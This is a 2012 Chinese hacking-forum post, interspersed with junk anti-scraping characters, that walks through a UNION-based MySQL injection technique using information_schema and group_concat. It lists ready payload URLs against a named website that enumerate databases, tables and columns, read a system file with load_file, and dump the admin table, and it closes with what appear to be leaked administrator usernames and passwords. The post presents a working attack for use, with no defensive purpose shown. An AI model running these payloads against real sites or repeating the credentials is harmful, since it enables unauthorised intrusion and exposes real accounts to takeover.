找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2170|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
' F2 Q7 Q3 i5 x( B但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
$ W% S% ]% M6 S5 d
0 G+ L( J; j6 J7 [: E% P
5 p2 k' b+ q" S; F2 y优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入% I8 `6 v4 ]2 I; }
( d7 V& z8 d" c7 C) A
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...1 |. g- l* K: Z; o5 b
; u7 d! S% o* v: p* S5 H. o1 P- H
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示. R2 t5 u# T" E
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
; Y6 a. ~. [& Q, |6 ^5 b) z: h. b5 n( ^7 a  t& s# z
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17& t, F4 `: e4 N8 o( K! ?

* f/ d4 e" \) W. x3 n& x读出所有库:
% }# E4 }( l% o, H1 U7 Xhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA9 Z8 Y2 Z0 `" n2 |
( u: T9 T+ d: F6 x8 Z# N% Y/ u

: N. Q$ u, \* o
; s* u" G. D. p读出所有表:
+ j4 m* n5 ]2 R! T3 z8 j  Yhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
" H; I& x) D  n, a" L6 V
0 K1 x6 h4 E  a1 I8 W读出所有表字段:1 F. u5 Z: {  R# p8 o+ M( X5 F
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)! n- `* G& {3 G% X) S8 `' B0 s
*/ (97,100,109,105,110)为admin的ascii码 依次类推& B, ~; P( H: |1 t! \
+ A" E1 B, y4 e" Z; y" ]
读出所有表字段里的内容:
# I2 N: k  u7 a* `http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
' Q! T1 }7 b. g' z( T* N  [1 X" A
/ o1 _8 S$ h/ _( v, M6 G. `( `+ O& u! B# K; {

1 W2 d! W" I' I& v* n" D* j& j8 C* ]1 M3 P6 _

4 P4 W0 `. U% b# O, X
# O. P* N, M; q/ @( K7 u# r) thttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%232 y+ q/ j! r' `' n, O4 p( k
. Y$ i1 f4 e7 p2 k# [. q1 J

; d9 y$ \; G- ~' J/ P. Lhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23% X+ S: z6 `  G" q- h

+ G. g7 b) K3 N; `  f  z4 S( dhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
, h& a8 T: E7 d( _1 L: Y0 l7 i- B+ J% t  B6 K" G! d. P0 w
1 I! b0 ?. l1 x) @
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
3 M, i( ?) V3 R9 q6 ?
8 P) z- P4 ]% v2 g& h2 t0 |) v: @& O) S
        webmaster:dzb521123,simlab:simadmin20043233
! ~* k) ?$ l$ ]0 J1 ]# `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表